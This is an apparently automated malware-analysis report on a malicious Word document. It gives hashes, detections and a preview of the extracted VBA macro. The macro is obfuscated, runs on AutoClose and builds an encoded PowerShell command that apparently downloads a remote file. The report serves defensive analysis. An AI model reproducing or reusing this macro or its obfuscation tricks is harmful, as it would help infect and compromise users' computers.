Office (OLE) malware analysis — malicious · 6011d43929f1dda2

MALICIOUS

Office (OLE)

88.5 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-03-18

MD5: 86d40af125f4b4aa2b4d993a95e083ca SHA-1: a89eefc8df49a83115641bb7a03bf1e7ffc3b9f1 SHA-256: 6011d43929f1dda2721548825c7bd17c6f01914d1dea90b6ac86b770619e50fc

242 Risk Score

Heuristics 7

ClamAV: Doc.Malware.00536d-6735644-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Malware.00536d-6735644-0
VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code
Shell() call in VBA critical OLE_VBA_SHELL

Shell() call in VBA
Auto_Close macro high OLE_VBA_AUTOCLOSE

Auto_Close macro
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9255 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	9255 bytes
SHA-256: `4da0ece03ce08927defd1b19420a7c3e91b45fc59b47e35e69c2c1707cb0ba7b`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Const pOkeCaCONiBeCYqRetEGSEVosyw = 0 Sub AutoClose() On Error Resume Next Dim hyiUvUhFYKecOfinupwYWlavOcaQYFymAMaToRah Choose 7, "MOLyLusOHUqeKUTeleMYBIW", LTrim("hyiUvUhFYKecOfinupwYWlavOcaQYFymAMaToRah"), "MOLyLusOHUqeKUTeleMYBIWhyiUvUhFYKecOfinupwYWlavOcaQYFymAMaToRah" IsError CVErr(4349) Call IsNumeric(4349 - MOLyLusOHUqeKUTeleMYBIW) If LenB(MOLyLusOHUqeKUTeleMYBIW10) > CInt(Hex(4349)) Then StrComp "MOLyLusOHUqeKUTeleMYBIW", "MOLyLusOHUqeKUTeleMYBIW" & hyiUvUhFYKecOfinupwYWlavOcaQYFymAMaToRah End If Dim BAgYVOJEdeXipEKAJyJapixibYCi Choose 9, "ZyWaMoqUhAt", LTrim("BAgYVOJEdeXipEKAJyJapixibYCi"), "ZyWaMoqUhAtBAgYVOJEdeXipEKAJyJapixibYCi" IsError CVErr(2047) Call IsNumeric(2047 - ZyWaMoqUhAt) If LenB(ZyWaMoqUhAt11) > CInt(Hex(2047)) Then StrComp "ZyWaMoqUhAt", "ZyWaMoqUhAt" & BAgYVOJEdeXipEKAJyJapixibYCi End If lADamUpAZopeLUraqAcEMOinaXymAxufyN = "" + ChrW((12.5 * 8) - 1) + "Md." + Format(ChrW(50 * 2 + 1)) + "X" + Format(ChrW(50 * 2 + 1)) + " /" + ChrW((12.5 * 8) - 1) + " p^o^w^" + Format(ChrW(50 * 2 + 1)) + "^r^s^h^E^L^L^.^" + Format(ChrW(50 * 2 + 1)) + "^x^" + Format(ChrW(50 * 2 + 1)) + "^ ^-^" + Format(ChrW(50 * 2 + 1)) + "^" + ChrW((12.5 * 8) - 1) + "^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^" + ChrW((12.5 * 8) - 1) + "^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^" + ChrW((12.5 * 8) - 1) + "^A^A^6^A^" Dim VYTEXIdovEdRUDaDyiwoipalIfUZ Choose 4, "nUTAkygIujubeJuCeRAWoM", LTrim("VYTEXIdovEdRUDaDyiwoipalIfUZ"), "nUTAkygIujubeJuCeRAWoMVYTEXIdovEdRUDaDyiwoipalIfUZ" IsError CVErr(398) Call IsNumeric(398 - nUTAkygIujubeJuCeRAWoM) If LenB(nUTAkygIujubeJuCeRAWoM10) > CInt(Hex(398)) Then StrComp "nUTAkygIujubeJuCeRAWoM", "nUTAkygIujubeJuCeRAWoM" & VYTEXIdovEdRUDaDyiwoipalIfUZ End If Dim fUWeCyGIdEkYHalElYrajUsOgIXSYXUGAx Choose 1, "hiDhoxOgehOpOzyLEmEt", LTrim("fUWeCyGIdEkYHalElYrajUsOgIXSYXUGAx"), "hiDhoxOgehOpOzyLEmEtfUWeCyGIdEkYHalElYrajUsOgIXSYXUGAx" IsError CVErr(9711) Call IsNumeric(9711 - hiDhoxOgehOpOzyLEmEt) If LenB(hiDhoxOgehOpOzyLEmEt10) > CInt(Hex(9711)) Then StrComp "hiDhoxOgehOpOzyLEmEt", "hiDhoxOgehOpOzyLEmEt" & fUWeCyGIdEkYHalElYrajUsOgIXSYXUGAx End If SeMEiivEbymapmafYvEqiefeciQocUfEwAbeRuZyRi = "C^8^A^L^w^B^5^A^G^E^A^d^A^B^p^A^G^M^A^Y^Q^B^0^A^G^U^A^" + ChrW((12.5 * 8) - 1) + "^g^B^t^A^C^4^A^Y^w^B^v^A^G^0^A^L^w^B^U^A^F^k^A^S^g^A^v^A^H^" + ChrW((12.5 * 8) - 1) + "^A^d^w^B^u^A^G^8^A^" + Format(ChrW(50 * 2 + 1)) + "^A^A^u^A^H^A^A^a^A^B^w^A^D^8^A^b^A^A^9^A^G^o^A^d^Q^B^4^A^G^U^A^M^Q^A^u^A^H^g^A^Y^Q^B^w^A^C^I^A^L^A^A^g^A^C^Q^A^Z^Q^B^u^A^H^Y^A^O^g^B^B^A^F^A^A^U^A^B^E^A^E^E^A^V^A^B^B^A^C^A^A^K^w^A^g^A^C^" + ChrW((12.5 * 8) - 1) + "^A^X^A^B" Dim DUvIHegOHadeGUdAhubaNiGyjohySizab Choose 3, "rIxisubIyXA", LTrim("DUvIHegOHadeGUdAhubaNiGyjohySizab"), "rIxisubIyXADUvIHegOHadeGUdAhubaNiGyjohySizab" IsError CVErr(7831) Call IsNumeric(7831 - rIxisubIyXA) If LenB(rIxisubIyXA10) > CInt(Hex(7831)) Then StrComp "rIxisubIyXA", "rIxisubIyXA" & DUvIHegOHadeGUdAhubaNiGyjohySizab End If Dim sIGEmylqYWxqPEXisUwEhoMaaUfalI Choose 8, "JYaicujUmIKAdAtO", LTrim("sIGEmylqYWxqPEXisUwEhoMaaUfalI"), "JYaicujUmIKAdAtOsIGEmylqYWxqPEXisUwEhoMaaUfalI" IsError CVErr(8550) Call IsNumeric(8550 - JYaicujUmIKAdAtO) If LenB(JYaicujUmIKAdAtO13) > CInt(Hex(8550)) Then StrComp "JYaicujUmIKAdAtO", "JYaicujUmIKAdAtO" & sIGEmylqYWxqPEXisUwEhoMaaUfalI End If Dim bYJyVIkezajabATOkEipXiSOHOJULaLicOWicyj Choose 8, "TYWaKoZumFok", LTrim("bYJyVIkezajabATOkEipXiSOHOJULaLicOWicyj"), "TYWaKoZumFokbYJyVIkezajabATOkEipXiSOHOJULaLicOWicyj" IsError CVErr(9857) Call IsNumeric(9857 - TYWaKoZumFok) ... (truncated)

SHA-256: 4da0ece03ce08927defd1b19420a7c3e91b45fc59b47e35e69c2c1707cb0ba7b

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const pOkeCaCONiBeCYqRetEGSEVosyw = 0
Sub AutoClose()
On Error Resume Next
Dim hyiUvUhFYKecOfinupwYWlavOcaQYFymAMaToRah


Choose 7, "MOLyLusOHUqeKUTeleMYBIW", LTrim("hyiUvUhFYKecOfinupwYWlavOcaQYFymAMaToRah"), "MOLyLusOHUqeKUTeleMYBIWhyiUvUhFYKecOfinupwYWlavOcaQYFymAMaToRah"
IsError CVErr(4349)
Call IsNumeric(4349 - MOLyLusOHUqeKUTeleMYBIW)

If LenB(MOLyLusOHUqeKUTeleMYBIW10) > CInt(Hex(4349)) Then
   StrComp "MOLyLusOHUqeKUTeleMYBIW", "MOLyLusOHUqeKUTeleMYBIW" & hyiUvUhFYKecOfinupwYWlavOcaQYFymAMaToRah
End If
Dim BAgYVOJEdeXipEKAJyJapixibYCi


Choose 9, "ZyWaMoqUhAt", LTrim("BAgYVOJEdeXipEKAJyJapixibYCi"), "ZyWaMoqUhAtBAgYVOJEdeXipEKAJyJapixibYCi"
IsError CVErr(2047)
Call IsNumeric(2047 - ZyWaMoqUhAt)

If LenB(ZyWaMoqUhAt11) > CInt(Hex(2047)) Then
   StrComp "ZyWaMoqUhAt", "ZyWaMoqUhAt" & BAgYVOJEdeXipEKAJyJapixibYCi
End If
lADamUpAZopeLUraqAcEMOinaXymAxufyN = "" + ChrW((12.5 * 8) - 1) + "Md." + Format(ChrW(50 * 2 + 1)) + "X" + Format(ChrW(50 * 2 + 1)) + " /" + ChrW((12.5 * 8) - 1) + " p^o^w^" + Format(ChrW(50 * 2 + 1)) + "^r^s^h^E^L^L^.^" + Format(ChrW(50 * 2 + 1)) + "^x^" + Format(ChrW(50 * 2 + 1)) + "^ ^-^" + Format(ChrW(50 * 2 + 1)) + "^" + ChrW((12.5 * 8) - 1) + "^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^" + ChrW((12.5 * 8) - 1) + "^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^" + ChrW((12.5 * 8) - 1) + "^A^A^6^A^"
Dim VYTEXIdovEdRUDaDyiwoipalIfUZ


Choose 4, "nUTAkygIujubeJuCeRAWoM", LTrim("VYTEXIdovEdRUDaDyiwoipalIfUZ"), "nUTAkygIujubeJuCeRAWoMVYTEXIdovEdRUDaDyiwoipalIfUZ"
IsError CVErr(398)
Call IsNumeric(398 - nUTAkygIujubeJuCeRAWoM)

If LenB(nUTAkygIujubeJuCeRAWoM10) > CInt(Hex(398)) Then
   StrComp "nUTAkygIujubeJuCeRAWoM", "nUTAkygIujubeJuCeRAWoM" & VYTEXIdovEdRUDaDyiwoipalIfUZ
End If
Dim fUWeCyGIdEkYHalElYrajUsOgIXSYXUGAx


Choose 1, "hiDhoxOgehOpOzyLEmEt", LTrim("fUWeCyGIdEkYHalElYrajUsOgIXSYXUGAx"), "hiDhoxOgehOpOzyLEmEtfUWeCyGIdEkYHalElYrajUsOgIXSYXUGAx"
IsError CVErr(9711)
Call IsNumeric(9711 - hiDhoxOgehOpOzyLEmEt)

If LenB(hiDhoxOgehOpOzyLEmEt10) > CInt(Hex(9711)) Then
   StrComp "hiDhoxOgehOpOzyLEmEt", "hiDhoxOgehOpOzyLEmEt" & fUWeCyGIdEkYHalElYrajUsOgIXSYXUGAx
End If

SeMEiivEbymapmafYvEqiefeciQocUfEwAbeRuZyRi = "C^8^A^L^w^B^5^A^G^E^A^d^A^B^p^A^G^M^A^Y^Q^B^0^A^G^U^A^" + ChrW((12.5 * 8) - 1) + "^g^B^t^A^C^4^A^Y^w^B^v^A^G^0^A^L^w^B^U^A^F^k^A^S^g^A^v^A^H^" + ChrW((12.5 * 8) - 1) + "^A^d^w^B^u^A^G^8^A^" + Format(ChrW(50 * 2 + 1)) + "^A^A^u^A^H^A^A^a^A^B^w^A^D^8^A^b^A^A^9^A^G^o^A^d^Q^B^4^A^G^U^A^M^Q^A^u^A^H^g^A^Y^Q^B^w^A^C^I^A^L^A^A^g^A^C^Q^A^Z^Q^B^u^A^H^Y^A^O^g^B^B^A^F^A^A^U^A^B^E^A^E^E^A^V^A^B^B^A^C^A^A^K^w^A^g^A^C^" + ChrW((12.5 * 8) - 1) + "^A^X^A^B"

Dim DUvIHegOHadeGUdAhubaNiGyjohySizab


Choose 3, "rIxisubIyXA", LTrim("DUvIHegOHadeGUdAhubaNiGyjohySizab"), "rIxisubIyXADUvIHegOHadeGUdAhubaNiGyjohySizab"
IsError CVErr(7831)
Call IsNumeric(7831 - rIxisubIyXA)

If LenB(rIxisubIyXA10) > CInt(Hex(7831)) Then
   StrComp "rIxisubIyXA", "rIxisubIyXA" & DUvIHegOHadeGUdAhubaNiGyjohySizab
End If

Dim sIGEmylqYWxqPEXisUwEhoMaaUfalI


Choose 8, "JYaicujUmIKAdAtO", LTrim("sIGEmylqYWxqPEXisUwEhoMaaUfalI"), "JYaicujUmIKAdAtOsIGEmylqYWxqPEXisUwEhoMaaUfalI"
IsError CVErr(8550)
Call IsNumeric(8550 - JYaicujUmIKAdAtO)

If LenB(JYaicujUmIKAdAtO13) > CInt(Hex(8550)) Then
   StrComp "JYaicujUmIKAdAtO", "JYaicujUmIKAdAtO" & sIGEmylqYWxqPEXisUwEhoMaaUfalI
End If
Dim bYJyVIkezajabATOkEipXiSOHOJULaLicOWicyj


Choose 8, "TYWaKoZumFok", LTrim("bYJyVIkezajabATOkEipXiSOHOJULaLicOWicyj"), "TYWaKoZumFokbYJyVIkezajabATOkEipXiSOHOJULaLicOWicyj"
IsError CVErr(9857)
Call IsNumeric(9857 - TYWaKoZumFok)
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.